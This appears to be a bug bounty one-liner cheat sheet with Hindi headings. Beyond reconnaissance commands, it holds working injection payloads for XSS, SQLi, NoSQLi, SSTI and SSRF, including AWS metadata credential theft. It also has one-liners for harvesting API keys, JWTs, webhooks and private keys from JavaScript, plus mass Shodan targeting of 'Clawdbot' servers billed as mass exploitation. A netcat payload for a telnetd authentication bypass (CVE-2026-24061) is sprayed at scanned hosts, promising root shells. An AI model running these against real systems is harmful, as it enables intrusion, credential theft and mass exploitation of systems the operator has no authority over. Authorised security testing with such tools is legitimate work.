KingOfBugBountyTips

सिस्टम निर्भरताएँ```bash

Ubuntu/Debian

sudo apt update && sudo apt install -y
jq
curl
wget
git
python3
python3-pip
golang-go
nmap
masscan
chromium-browser
parallel
whois
dnsutils
libpcap-dev
build-essential

macOS

brew install jq curl wget git python3 go nmap masscan chromium parallel whois bind

त्वरित स्थापना स्क्रिप्ट - Go Tools```bash

#!/bin/bash

One-click install for all Go tools

echo "[*] Installing Go tools..." go_tools=( # ProjectDiscovery "github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest" "github.com/projectdiscovery/httpx/cmd/httpx@latest" "github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest" "github.com/projectdiscovery/katana/cmd/katana@latest" "github.com/projectdiscovery/naabu/v2/cmd/naabu@latest" "github.com/projectdiscovery/dnsx/cmd/dnsx@latest" "github.com/projectdiscovery/shuffledns/cmd/shuffledns@latest" "github.com/projectdiscovery/chaos-client/cmd/chaos@latest" # Tomnomnom "github.com/tomnomnom/waybackurls@latest" "github.com/tomnomnom/anew@latest" "github.com/tomnomnom/qsreplace@latest" "github.com/tomnomnom/unfurl@latest" "github.com/tomnomnom/gf@latest" "github.com/tomnomnom/assetfinder@latest" "github.com/tomnomnom/httprobe@latest" # Fuzzing & Crawling "github.com/ffuf/ffuf/v2@latest" "github.com/jaeles-project/gospider@latest" "github.com/hakluke/hakrawler@latest" "github.com/hakluke/hakrevdns@latest" # Security "github.com/hahwul/dalfox/v2@latest" "github.com/lc/gau/v2/cmd/gau@latest" "github.com/lc/subjs@latest" # Screenshots & Utils "github.com/sensepost/gowitness@latest" "github.com/d3mondev/puredns/v2@latest" "github.com/j3ssie/metabigor@latest" "github.com/Emoe/kxss@latest" "github.com/ferreiraklet/airixss@latest" "github.com/edoardottt/cariddi/cmd/cariddi@latest" "github.com/trufflesecurity/trufflehog/v3@latest" )

for tool in "${go_tools[@]}"; do echo "[+] Installing $tool" go install -v "$tool" 2>/dev/null done

echo "[✓] Go tools installed!"

त्वरित इंस्टॉल स्क्रिप्ट - Rust टूल्स (Feroxbuster)```bash

#!/bin/bash

Install Feroxbuster (Rust)

echo "[*] Installing Rust tools..."

Install Rust if not present

if ! command -v cargo &> /dev/null; then curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y source $HOME/.cargo/env fi

Install Feroxbuster

cargo install feroxbuster

echo "[✓] Rust tools installed!"

मास्टर स्थापना स्क्रिप्ट (सब-एक-में)```bash

#!/bin/bash

MASTER INSTALLER - Run all installation scripts

echo "╔══════════════════════════════════════════════════════════╗" echo "║ KingOfBugBounty - Complete Tool Installation ║" echo "╚══════════════════════════════════════════════════════════╝"

System dependencies (run with sudo)

echo "[1/5] Installing system dependencies..." sudo apt update && sudo apt install -y jq curl wget git python3 python3-pip golang-go nmap masscan chromium-browser parallel whois dnsutils libpcap-dev build-essential

Go environment

echo "[2/5] Setting up Go environment..." echo 'export GOPATH=$HOME/go' >> ~/.bashrc echo 'export PATH=$PATH:$GOPATH/bin' >> ~/.bashrc source ~/.bashrc

Go tools

echo "[3/5] Installing Go tools..." go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest go install -v github.com/projectdiscovery/katana/cmd/katana@latest go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest go install -v github.com/projectdiscovery/shuffledns/cmd/shuffledns@latest go install -v github.com/tomnomnom/waybackurls@latest go install -v github.com/tomnomnom/anew@latest go install -v github.com/tomnomnom/qsreplace@latest go install -v github.com/tomnomnom/unfurl@latest go install -v github.com/tomnomnom/gf@latest go install -v github.com/tomnomnom/assetfinder@latest go install -v github.com/ffuf/ffuf/v2@latest go install -v github.com/hahwul/dalfox/v2@latest go install -v github.com/lc/gau/v2/cmd/gau@latest go install -v github.com/jaeles-project/gospider@latest go install -v github.com/hakluke/hakrawler@latest go install -v github.com/hakluke/hakrevdns@latest go install -v github.com/sensepost/gowitness@latest go install -v github.com/d3mondev/puredns/v2@latest go install -v github.com/owasp-amass/amass/v4/...@master

Python tools

echo "[4/5] Installing Python tools..." pip3 install certstream sqlmap ghauri uro arjun shodan censys bbrf dnsgen waymore

Rust tools

echo "[5/5] Installing Rust tools..." if ! command -v cargo &> /dev/null; then curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y source $HOME/.cargo/env fi cargo install feroxbuster

Update Nuclei templates

nuclei -update-templates

echo "" echo "╔══════════════════════════════════════════════════════════╗" echo "║ ✓ Installation Complete! ║" echo "╚══════════════════════════════════════════════════════════╝" echo "" echo "Run 'source ~/.bashrc' to reload your environment"

स्थापना सत्यापित करें```bash

#!/bin/bash

Verify all tools are installed

echo "Checking installed tools..."

tools=("subfinder" "httpx" "nuclei" "katana" "naabu" "dnsx" "ffuf" "feroxbuster" "dalfox" "gau" "waybackurls" "anew" "qsreplace" "gf" "gospider" "hakrawler" "amass" "gowitness" "certstream" "sqlmap" "arjun" "shodan")

for tool in "${tools[@]}"; do if command -v $tool &> /dev/null; then echo "[✓] $tool" else echo "[✗] $tool - NOT FOUND" fi done

💀 उपडोमेन एनुमरेशन ☠️

💀 बहु-स्रोत खोज (एक-में-सभी)```bash

☠️ Ultimate subdomain enumeration - All tools combined

subfinder -d target.com -all -silent | anew subs.txt amass enum -passive -d target.com | anew subs.txt assetfinder -subs-only target.com | anew subs.txt chaos -d target.com -silent | anew subs.txt findomain -t target.com -q | anew subs.txt cat subs.txt | httpx -silent -threads 200 | anew alive.txt

💀 Certstream रीयल-टाइम मॉनिटरिंग - बुनियादी```bash

☠️ Monitor certificates in real-time for specific keyword

pip install certstream && python3 -c "import certstream; certstream.listen_for_events(lambda msg, ctx: print(msg['data']['leaf_cert']['subject']['CN']) if 'target' in str(msg.get('data',{}).get('leaf_cert',{}).get('subject',{}).get('CN','')) else None, url='wss://certstream.calidog.io/')"

💀 Certstream से सबडोमेन खोज```bash

☠️ Extract all SANs (Subject Alternative Names) in real-time

certstream --full | jq -r '.data.leaf_cert.extensions.subjectAltName // empty' | tr ',' '\n' | sed 's/DNS://g' | grep -E "target.com$" | sort -u | anew certstream_subs.txt

💀 Certstream फ़िशिंग डिटेक्शन```bash

☠️ Monitor for potential phishing domains (brand impersonation)

certstream --full | jq -r '.data.leaf_cert.subject.CN // empty' | grep -iE "(paypal|apple|google|microsoft|amazon|facebook|netflix|bank)" | grep -vE ".(paypal|apple|google|microsoft|amazon|facebook|netflix).com$" | anew phishing_certs.txt

💀 Certstream सामूहिक संग्रहण स्क्रिप्ट```bash

☠️ Collect all certificates for specific TLDs

timeout 3600 bash -c 'certstream --full | jq -r ".data.leaf_cert.all_domains[]? // empty" | grep -E ".(gov|mil|edu)$" | anew gov_mil_edu_certs.txt' &

💀 Certstream + Shodan संवर्धन```bash

☠️ Real-time certs -> resolve IP -> Shodan lookup

certstream --full | jq -r '.data.leaf_cert.subject.CN // empty' | grep -iE "target" | while read domain; do IP=$(dig +short "$domain" | head -1); [ -n "$IP" ] && echo "$domain,$IP,$(shodan host $IP 2>/dev/null | head -3 | tr '\n' ' ')"; done | anew cert_shodan.txt

💀 Certstream बग बाउंटी स्कोप मॉनिटर```bash

☠️ Monitor multiple bug bounty targets simultaneously

TARGETS="hackerone|bugcrowd|intigriti|yeswehack"; certstream --full | jq -r '.data.leaf_cert.all_domains[]? // empty' | grep -iE "$TARGETS" | anew bb_new_assets.txt &

💀 Shodan के माध्यम से Clawdbot की खोज (सामूहिक शोषण)

⚡ 1. Clawdbot इंस्टेंस खोजें - मूल खोज```bash

💀 Locate Clawdbot servers exposed on the internet

shodan search "Clawdbot" --fields ip_str,port,hostnames,org | awk '{print $1":"$2}' | anew clawdbot_targets.txt

⚡ 3. Clawdbot उपयोगकर्ता-एजेंट का पता लगाना```bash

💀 Detect Clawdbot via User-Agent strings

shodan search "http.user_agent:Clawdbot" --fields ip_str,port,org,hostnames | awk -F'\t' '{print "https://"$1":"$2" - "$3}' | anew clawdbot_ua.txt

⚡ 5. Clawdbot सर्वर फिंगरप्रिंटिंग```bash

💀 Extract detailed server info from Clawdbot hosts

shodan search "Clawdbot" --fields ip_str,port,os,product,version,org | sort -t$'\t' -k4 | anew clawdbot_fingerprint.txt

⚡ 7. Clawdbot भौगोलिक वितरण```bash

💀 Find Clawdbot by country for geo-targeted testing

for country in US BR DE FR GB RU CN JP KR IN; do echo "=== $country ===" && shodan search "Clawdbot country:$country" --fields ip_str,port,city --limit 100 | anew clawdbot_${country}.txt; done

⚡ 9. Clawdbot SSL Certificate Analysis```bash

💀 Extract Clawdbot hosts with SSL certificate info

shodan search "Clawdbot ssl:true" --fields ip_str,port,ssl.cert.subject.CN,ssl.cert.issuer.O | sort -u | anew clawdbot_ssl.txt

💀 ASN खोज और रिवर्स DNS```bash

☠️ Find all IPs from organization ASN

echo 'target_org' | metabigor net --org -v | awk '{print $3}' | sed 's/[[0-9]]+.//g' | xargs -I@ sh -c 'prips @ | hakrevdns | anew'

💀 पुनरावर्ती उपडोमेन गणना```bash

subfinder -d target.com -recursive -all -silent | dnsx -silent | httpx -silent | anew recursive_subs.txt

💀 GitHub उपडोमेन स्क्रैपिंग```bash

github-subdomains -d target.com -t YOUR_GITHUB_TOKEN -o github_subs.txt

💀 SecurityTrails API```bash

☠️ SecurityTrails subdomain enumeration

curl -s "https://api.securitytrails.com/v1/domain/target.com/subdomains" -H "APIKEY: YOUR_API_KEY" | jq -r '.subdomains[]' | sed 's/$/.target.com/' | anew subs.txt

💀 CommonCrawl निष्कर्षण```bash

☠️ CommonCrawl subdomain extraction

curl -s "https://index.commoncrawl.org/CC-MAIN-2023-50-index?url=*.target.com&output=json" | jq -r '.url' | sed -e 's_https*://__' -e 's//.*//g' | sort -u | anew commoncrawl_subs.txt

💀 DNS Zone Transfer प्रयास```bash

☠️ Check for zone transfer vulnerability

dig axfr @ns1.target.com target.com | grep -E "^[a-zA-Z0-9]" | awk '{print $1}' | sed 's/.$//' | anew zone_transfer.txt

💀 BGP/ASN रेंज स्कैनर```bash

☠️ Get ASN and scan all IP ranges

whois -h whois.radb.net -- '-i origin AS12345' | grep -Eo "([0-9.]+){4}/[0-9]+" | xargs -I@ sh -c 'nmap -sL @ | grep "report for" | cut -d" " -f5' | httpx -silent | anew bgp_hosts.txt

💀 ऑल-इन-वन मेगा वन-लाइनर```bash

☠️ THE ULTIMATE SUBDOMAIN HUNTER ☠️

(subfinder -d target.com -all -silent; amass enum -passive -d target.com; assetfinder -subs-only target.com; findomain -t target.com -q; chaos -d target.com -silent; curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sed 's/*.//g'; curl -s "https://api.hackertarget.com/hostsearch/?q=target.com" | cut -d',' -f1; curl -s "http://web.archive.org/cdx/search/cdx?url=*.target.com/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e 's//.*//g') | sort -u | httpx -silent -threads 100 | anew mega_subs.txt

💀 DNS वर्डलिस्ट ब्रूटफोर्स PureDNS के साथ```bash

☠️ Fast bruteforce with PureDNS

puredns bruteforce wordlist.txt target.com -r resolvers.txt -w puredns_subs.txt

💀 फ़ेविकॉन हैश -> Shodan```bash

☠️ Find related hosts via favicon hash

curl -s https://target.com/favicon.ico | md5sum | awk '{print $1}' | xargs -I@ shodan search "http.favicon.hash:@" --fields ip_str,hostnames | anew favicon_hosts.txt

🔐 TLS/SSL रीकॉनिसंस (TLSX)

🔐 बुनियादी TLS प्रमाणपत्र स्कैन```bash

🔐 Full TLS certificate details extraction

echo target.com | tlsx -san -cn -so -sv -ss -serial -hash md5 -jarm -ja3 -wc -tps -ve -ce -ct -cdn -silent | tee tlsx_full.txt

🔐 समाप्त प्रमाणपत्र शिकारी```bash

🔐 Find hosts with expired SSL certificates

cat hosts.txt | tlsx -expired -silent -cn -so | tee expired_certs.txt

🔐 TLS Version Enumeration (Weak TLS)```bash

🔐 Find hosts with deprecated TLS versions (TLS 1.0/1.1)

cat hosts.txt | tlsx -tls-version -silent | grep -E "(tls10|tls11)" | tee weak_tls_versions.txt

🔐 प्रमाणपत्र श्रृंखला और जारीकर्ता विश्लेषण```bash

🔐 Analyze certificate chain and identify CA

cat hosts.txt | tlsx -so -serial -hash sha256 -ve -ce -json -silent | jq -r '[.host, .issuer_cn, .not_after, .serial] | @tsv' | anew cert_chain_analysis.txt

🔐 बेमेल प्रमाणपत्र पहचान```bash

🔐 Find certificates where CN doesn't match the hostname

cat hosts.txt | tlsx -mismatched -cn -san -silent | tee mismatched_certs.txt

🌐 DNS खुफिया (DNSX)

🌐 1. सामूहिक DNS रिज़ॉल्यूशन + वाइल्डकार्ड फ़िल्टरिंग```bash

🌐 Resolve subdomains and filter out wildcards

subfinder -d target.com -silent | dnsx -silent -a -resp-only -wd target.com | sort -u | anew resolved_ips.txt

🌐 3. उपडोमेन अधिग्रहण के लिए CNAME निष्कर्षण```bash

🌐 Find dangling CNAMEs pointing to vulnerable services

subfinder -d target.com -silent | dnsx -silent -cname -resp-only | grep -iE "(s3|cloudfront|herokuapp|github|azure|shopify|fastly|pantheon|zendesk|readme|ghost|surge|bitbucket|wordpress|tumblr)" | anew cname_takeover_candidates.txt

🌐 5. ईमेल सुरक्षा विश्लेषण के लिए MX Records```bash

🌐 Extract MX records to identify mail servers and SPF bypass opportunities

cat domains.txt | dnsx -silent -mx -resp | awk '{print $1, $2}' | sort -u | tee mx_records.txt && cat domains.txt | dnsx -silent -txt -resp | grep -i "spf" | anew spf_records.txt

🌐 7. DNS Brute-force कस्टम रिज़ॉल्वर्स के साथ```bash

🌐 Mass DNS brute-force with custom resolver list

cat wordlist.txt | sed 's/$/.target.com/' | dnsx -silent -r resolvers.txt -rl 500 -t 200 -retry 3 -resp-only | anew bruteforced_subs.txt

🌐 9. ASN खोज DNS + IP सहसंबंध के माध्यम से```bash

🌐 Resolve domains, extract unique IPs, and identify ASN ownership

subfinder -d target.com -silent | dnsx -silent -a -resp-only | sort -u | tee target_ips.txt | xargs -I{} sh -c 'whois {} 2>/dev/null | grep -iE "(netname|orgname|asn|origin)" | head -5' | anew asn_info.txt

🎯 प्रो टिप: बेहतर प्रदर्शन के लिए कस्टम रिज़ॉल्वर का उपयोग करें: dnsx -r resolvers.txt -rl 1000

📜 JavaScript खोज

पूर्ण JS पाइपलाइन```bash

subfinder -d target.com -silent | httpx -silent | katana -d 5 -jc -silent | grep -iE '.js$' | anew js.txt

LinkFinder on JS फ़ाइलें```bash

cat js.txt | xargs -I@ -P10 bash -c 'python3 linkfinder.py -i @ -o cli 2>/dev/null' | anew endpoints.txt

JS वेरिएबल्स निष्कर्षण```bash

cat file.js | grep -oE "var\s+\w+\s*=\s*['"][^'"]+['"]" | sort -u

JavaScript से सभी URL निकालें```bash

cat js.txt | xargs -I@ curl -s @ | grep -oE "(https?://[^"'`\s<>]+)" | sort -u | anew js_urls.txt

हार्डकोडेड क्रेडेंशियल्स निकालें```bash

cat js.txt | xargs -I@ curl -s @ | grep -iE "(password|passwd|pwd|secret|api_key|apikey|token|auth)" | sort -u

JS से Google API Keys निकालें```bash

cat js.txt | xargs -I@ curl -s @ | grep -oE "AIza[0-9A-Za-z-_]{35}" | sort -u | anew google_api_keys.txt

JS से S3 Buckets निकालें```bash

cat js.txt | xargs -I@ curl -s @ | grep -oE "[a-zA-Z0-9.-]+.s3.amazonaws.com|s3://[a-zA-Z0-9.-]+|s3-[a-zA-Z0-9-]+.amazonaws.com/[a-zA-Z0-9.-]+" | sort -u | anew s3_from_js.txt

JS से Slack Webhooks निकालें```bash

cat js.txt | xargs -I@ curl -s @ | grep -oE "https://hooks\.slack\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+" | sort -u | anew slack_webhooks.txt

JS से प्राइवेट कुंजियाँ निकालें```bash

cat js.txt | xargs -I@ curl -s @ | grep -oE "-----BEGIN (RSA |EC |DSA |OPENSSH |PGP )?PRIVATE KEY( BLOCK)?-----" | sort -u | anew private_keys_found.txt

JS से छिपे उपडोमेन निकालें```bash

cat js.txt | xargs -I@ curl -s @ | grep -oE "https?://[a-zA-Z0-9.-]+.[a-zA-Z]{2,}" | sed 's|https?://||' | cut -d'/' -f1 | sort -u | anew subdomains_from_js.txt

💀 JS फ़ाइलों से JWT टोकन्स निकालें```bash

cat js.txt | xargs -I@ curl -s @ | grep -oE "eyJ[A-Za-z0-9_-].eyJ[A-Za-z0-9_-].[A-Za-z0-9_-]*" | sort -u | anew jwt_tokens.txt

💀 Discord वेबहुक को JS से निकालें```bash

cat js.txt | xargs -I@ curl -s @ | grep -oE "https://discord\.com/api/webhooks/[0-9]+/[A-Za-z0-9_-]+" | sort -u | anew discord_webhooks.txt

💉 XSS पहचान

Dalfox Pipeline```bash

cat urls.txt | gf xss | uro | qsreplace '">' | dalfox pipe --silence --skip-bav

Airixss तेज़ स्कैन```bash

echo target.com | waybackurls | gf xss | uro | httpx -silent | qsreplace '">' | airixss -payload "confirm(1)"

DOM XSS पहचान```bash

cat js.txt | xargs -I@ bash -c 'curl -s @ | grep -E "(document.(location|URL|cookie|domain|referrer)|innerHTML|outerHTML|eval(|.write()" && echo "--- @ ---"'

प्रतिबिंबित पैरामीटर पहचान```bash

cat urls.txt | kxss 2>/dev/null | grep -v "Not Reflected" | anew reflected_params.txt

🗄️ SQL इंजेक्शन

SQLMap मास स्कैन```bash

cat urls.txt | gf sqli | uro | anew sqli.txt && sqlmap -m sqli.txt --batch --random-agent --level 2 --risk 2

समय-आधारित अंधा```bash

cat urls.txt | gf sqli | qsreplace "1' AND SLEEP(5)-- -" | httpx -silent -timeout 10 | anew time_based.txt

UNION पता लगाना```bash

cat urls.txt | gf sqli | qsreplace "1 UNION SELECT NULL,NULL,NULL-- -" | httpx -silent -mc 200

NoSQL Injection```bash

cat urls.txt | qsreplace '{"$gt":""}' | httpx -silent -mc 200 | anew nosqli.txt cat urls.txt | qsreplace "admin'||'1'=='1" | httpx -silent | anew nosqli.txt

SSRF पैरामीटर फज़िंग```bash

cat urls.txt | qsreplace "http://169.254.169.254/latest/meta-data/" | httpx -silent -match-string "ami-id"

SSTI पेलोड परीक्षण```bash

cat urls.txt | qsreplace '${77}' | httpx -silent -mr "49" && cat urls.txt | qsreplace '<%= 77 %>' | httpx -silent -mr "49"

SSRF के साथ DNS Rebinding```bash

cat urls.txt | gf ssrf | qsreplace "http://7f000001.burpcollaborator.net" | httpx -silent

🕷️ वेब क्रॉलिंग

Katana Deep Crawl```bash

katana -u https://target.com -d 10 -jc -kf all -aff -silent | anew crawl.txt

Hakrawler स्कोप के साथ```bash

echo https://target.com | hakrawler -d 5 -subs -u | anew hakrawler.txt

Waymore ऐतिहासिक URLs```bash

waymore -i target.com -mode U -oU urls.txt

फ़ॉर्म निकालें```bash

katana -u https://target.com -f qurl -silent | grep "?" | anew forms.txt

💀 Gospider Recursive + Sitemap + Robots```bash

☠️ Full crawl with sitemap parsing and robots.txt extraction

gospider -S alive.txt -c 30 -d 5 -t 20 --sitemap --robots --js -a -w --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|svg)" -o gospider_output && cat gospider_output/* | grep -oE 'https?://[^"]+' | sort -u | anew gospider_urls.txt

💀 कटाना हेडलेस + फॉर्म ऑटोफिल + स्क्रीनशॉट```bash

☠️ Headless browser crawl with form interaction and XHR capture

katana -u https://target.com -headless -d 6 -jc -aff -xhr -form -timeout 15 -silent -nc -c 20 | anew headless_interactive.txt

💀 समानांतर डोमेन क्रॉलर पाइपलाइन```bash

☠️ Mass parallel crawling with deduplication

cat domains.txt | parallel -j 10 "katana -u https://{} -d 5 -jc -silent" | uro | anew parallel_crawl.txt

💀 पुनरावर्ती क्रॉल + Nuclei ऑटो-स्कैन पाइपलाइन```bash

☠️ Crawl then auto-scan discovered endpoints for vulnerabilities

katana -u https://target.com -d 6 -jc -kf all -aff -silent | tee crawl_output.txt | grep -E ".(php|asp|aspx|jsp|do|action)(?|$)" | nuclei -t /root/nuclei-templates/ -severity high,critical -silent -o crawl_vulns.txt

💀 मल्टी-क्रॉलर आउटपुट डिडुप्लीकेशन + पैरामीटर निष्कर्षण```bash

☠️ Run all crawlers and extract unique parameters

(gospider -s https://target.com -d 3 -c 10 -q; hakrawler -url https://target.com -d 3; katana -u https://target.com -d 3 -jc -silent) | sort -u | unfurl -u keys | sort | uniq -c | sort -rn | head -100 | anew top_params.txt

Arjun Discovery```bash

arjun -i urls.txt -oT arjun_params.txt --stable

JS से पैरामीटर खोजें```bash

cat js.txt | xargs -I@ curl -s @ | grep -oE "[?&][a-zA-Z0-9_]+=" | cut -d'=' -f1 | tr -d '?&' | sort -u

📁 सामग्री खोज

Ffuf निर्देशिका ब्रूटफोर्स```bash

ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302,403 -ac -c -t 100

💀 Feroxbuster पूर्ण पुनरावर्ती स्कैन```bash

☠️ Deep recursive scan with auto-tune and smart filtering

feroxbuster -u https://target.com -w wordlist.txt -d 5 -L 4 --auto-tune -C 404,500 --smart -o ferox_results.txt

💀 ffuf + Feroxbuster पाइपलाइन (एक्सटेंशन + पुनरावृत्ति)```bash

☠️ Find directories with ffuf, then deep scan each with feroxbuster

ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302 -ac -c -t 100 -o dirs.json -of json && cat dirs.json | jq -r '.results[].url' | xargs -I@ feroxbuster -u @ -w wordlist.txt -x php,asp,aspx,jsp,html,js -d 2 -t 30 -q

💀 Feroxbuster समानांतर पुनरावर्ती स्कैन```bash

☠️ Parallel scan with multiple wordlists and extensions

feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,asp,aspx,jsp,bak,old,zip -d 4 -t 100 -L 5 --parallel 10 --dont-extract-links -C 404 -o ferox_parallel.txt

💀 Feroxbuster लिंक निकालें + पुनरावर्ती```bash

☠️ Extract links from responses and add to scan queue recursively

feroxbuster -u https://target.com -w wordlist.txt -d 5 --extract-links --collect-words --collect-backups -x php,html,js,json -t 50 -o ferox_extracted.txt

💀 Feroxbuster API एंडपॉइंट्स खोज```bash

☠️ Recursive API fuzzing with JSON content-type

feroxbuster -u https://target.com/api -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -d 3 -x json -t 50 -H "Accept: application/json" -H "Content-Type: application/json" --dont-extract-links -m GET,POST -o ferox_api.txt

संवेदनशील फ़ाइलें```bash

cat urls.txt | httpx -silent -path /.env,/config.php,/wp-config.php.bak,/.htaccess,/server-status -mc 200 | anew sensitive.txt

API दस्तावेज़ीकरण```bash

cat urls.txt | httpx -silent -path /swagger.json,/openapi.json,/api-docs,/swagger-ui.html -mc 200 | anew api_docs.txt

कॉन्फ़िग फ़ाइलें```bash

cat alive.txt | httpx -silent -path /config.json,/config.yaml,/config.yml,/settings.json,/app.config -mc 200 | anew configs.txt

⚡ Nuclei स्कैनिंग

पूर्ण टेम्पलेट स्कैन```bash

nuclei -l alive.txt -t /nuclei-templates/ -severity critical,high,medium -c 50 -rl 150 -o nuclei_results.txt

उपडोमेन अधिग्रहण```bash

subfinder -d target.com -silent | httpx -silent | nuclei -t takeovers/ -c 50

गलत कॉन्फ़िगरेशन```bash

nuclei -l alive.txt -t misconfiguration/ -severity high,critical | anew misconfig.txt

अनुकूलित टैग```bash

nuclei -l alive.txt -tags cve,rce,sqli,xss -severity critical,high -o tagged_results.txt

🔌 API सुरक्षा परीक्षण

GraphQL Introspection```bash

cat urls.txt | httpx -silent -path /graphql -mc 200 | xargs -I@ curl -s @ -H "Content-Type: application/json" -d '{"query":"{__schema{types{name}}}"}' | grep -v "error"

JWT विश्लेषण```bash

cat urls.txt | httpx -silent | katana -d 3 -silent | grep -oE "eyJ[A-Za-z0-9_-].eyJ[A-Za-z0-9_-].[A-Za-z0-9_-]*" | anew jwts.txt

टूटा प्रमाणीकरण```bash

Test endpoints without auth

cat api_endpoints.txt | httpx -silent -mc 200 -fc 401,403 | anew no_auth_endpoints.txt

BOLA/IDOR परीक्षण```bash

cat urls.txt | grep -oE "(id|user_id|account_id|uid)=[0-9]+" | sed 's/=[0-9]*/=FUZZ/' | sort -u | anew bola_candidates.txt

💀 API संस्करण फ़ज़िंग```bash

☠️ Discover hidden API versions

ffuf -u https://target.com/api/vFUZZ/users -w <(seq 1 20) -mc 200,201,401,403 -ac -c && ffuf -u https://target.com/FUZZ/users -w <(echo -e "api\nv1\nv2\nv3\nv4\napi/v1\napi/v2\napi/v3\napi/internal\napi/private\napi/admin\napi/dev\napi/test\napi/staging\napi/beta") -mc 200,201,401,403 -ac -c

💀 GraphQL Fuzzing के साथ ffuf```bash

☠️ Fuzz GraphQL endpoints for introspection and queries

ffuf -u https://target.com/FUZZ -w <(echo -e "graphql\ngraphiql\nplayground\nconsole\nquery\ngql\nv1/graphql\nv2/graphql\napi/graphql\napi/gql") -mc 200,400 -ac -c -H "Content-Type: application/json" -d '{"query":"{__typename}"}' -X POST -o graphql_endpoints.json

💀 API प्रमाणीकरण बाईपास Fuzzing```bash

☠️ Test auth bypass techniques on protected endpoints

cat api_endpoints.txt | while read url; do curl -s -o /dev/null -w "%{http_code} - $url\n" "$url" -H "X-Originating-IP: 127.0.0.1" -H "X-Forwarded-For: 127.0.0.1" -H "X-Remote-IP: 127.0.0.1" -H "X-Remote-Addr: 127.0.0.1" -H "X-Custom-IP-Authorization: 127.0.0.1"; done | grep "^200" | anew auth_bypass.txt

💀 API JSON Fuzzing के साथ Nuclei```bash

☠️ Mass API fuzzing with nuclei DAST mode

cat api_endpoints.txt | httpx -silent -mc 200,201,401,403 | nuclei -dast -t dast/vulnerabilities/ -H "Content-Type: application/json" -rl 20 -c 5 -o api_nuclei_dast.txt

💀 कस्टम वर्डलिस्ट जनरेशन के साथ API FUZZ```bash

☠️ Generate API wordlist from JS files and fuzz

cat js.txt | xargs -I@ curl -s @ | grep -oE "["']/(api|v[0-9])/[a-zA-Z0-9/_-]+["']" | tr -d ""'" | sort -u > custom_api_wordlist.txt && ffuf -u https://target.com/FUZZ -w custom_api_wordlist.txt -mc 200,201,204,401,403,500 -ac -c -t 80 -H "Authorization: Bearer null" -o custom_api_fuzz.json

S3 अनुमति जाँच```bash

cat s3_buckets.txt | xargs -I@ sh -c 'aws s3 ls s3://@ --no-sign-request 2>/dev/null && echo "OPEN: @"'

Azure Blob Storage```bash

cat urls.txt | grep -oE "[a-zA-Z0-9-]+.blob.core.windows.net" | anew azure_blobs.txt

AWS Metadata SSRF```bash

cat urls.txt | gf ssrf | qsreplace "http://169.254.169.254/latest/meta-data/iam/security-credentials/" | httpx -silent -ms "AccessKeyId"

🤖 स्वचालन स्क्रिप्ट्स

पूर्ण रीकॉन पाइपलाइन```bash

#!/bin/bash domain=$1 mkdir -p $domain && cd $domain

Subdomains

subfinder -d $domain -all -silent | anew subs.txt amass enum -passive -d $domain | anew subs.txt assetfinder -subs-only $domain | anew subs.txt

Alive check

cat subs.txt | httpx -silent -threads 100 | anew alive.txt

URLs

cat alive.txt | katana -d 5 -jc -silent | anew urls.txt cat alive.txt | waybackurls | anew urls.txt cat alive.txt | gau --threads 50 | anew urls.txt

Vulnerability patterns

cat urls.txt | gf xss | anew xss.txt cat urls.txt | gf sqli | anew sqli.txt cat urls.txt | gf ssrf | anew ssrf.txt cat urls.txt | gf lfi | anew lfi.txt

Nuclei scan

nuclei -l alive.txt -t /nuclei-templates/ -severity critical,high -o vulns.txt

API Recon Script```bash

#!/bin/bash target=$1 mkdir -p $target/api && cd $target/api

Find API endpoints

cat ../alive.txt | httpx -silent -path /api,/api/v1,/api/v2,/swagger.json,/openapi.json | anew api_endpoints.txt

Extract from JS

cat ../js.txt | xargs -I@ curl -s @ | grep -oE "(/api/[^"'`\s<>]+)" | sort -u | anew js_api_endpoints.txt

Test GraphQL

cat ../alive.txt | httpx -silent -path /graphql,/graphiql,/playground -mc 200 | anew graphql.txt

echo "[+] API recon complete!"

🆕 New Oneliners 2026

⚡🔥⚡ TelnetPwn - CVE-2026-24061 (CVSS 9.8 - CRITICAL) ⚡🔥⚡

💀 GNU InetUtils Telnetd प्रमाणीकरण बाईपास - तत्काल रूट शेल! सक्रिय शोषण के तहत! 💀

⚡ 1. Shodan सामूहिक Telnet खोज```bash

💀 Find exposed telnet servers worldwide

shodan search "port:23 telnet" --fields ip_str,port,org | awk '{print $1":"$2}' | anew telnet_targets.txt

⚡ 3. Masscan तेज़ टेलनेट स्वीप```bash

💀 Ultra-fast telnet port discovery on large ranges

masscan -p23 --rate=10000 -iL ip_ranges.txt -oG masscan_telnet.txt && cat masscan_telnet.txt | grep "23/open" | awk '{print $4}' | anew telnet_alive.txt

⚡ 5. CVE-2026-24061 भेद्यता जांच (सुरक्षित)```bash

💀 Test for NEW_ENVIRON option support (vuln indicator)

cat telnet_targets.txt | xargs -P20 -I@ sh -c 'echo -e "\xff\xfa\x27\x00\x00USER\x01-f\xff\xf0" | timeout 3 nc @ 23 2>/dev/null | grep -q "login|root|#" && echo "[CVE-2026-24061 POTENTIAL] @"' | tee cve_2026_24061_potential.txt

⚡ 7. बैनर ग्रैबिंग + संस्करण निष्कर्षण```bash

💀 Extract telnet banners for version analysis

cat telnet_targets.txt | xargs -P50 -I@ sh -c 'echo "" | timeout 3 nc @ 23 2>&1 | head -3' | tee telnet_banners.txt | grep -iE "(inetutils|GNU|2.[0-7])" | anew potentially_vuln_versions.txt

⚡ 9. Telnet + OS फ़िंगरप्रिंट सहसंबंध```bash

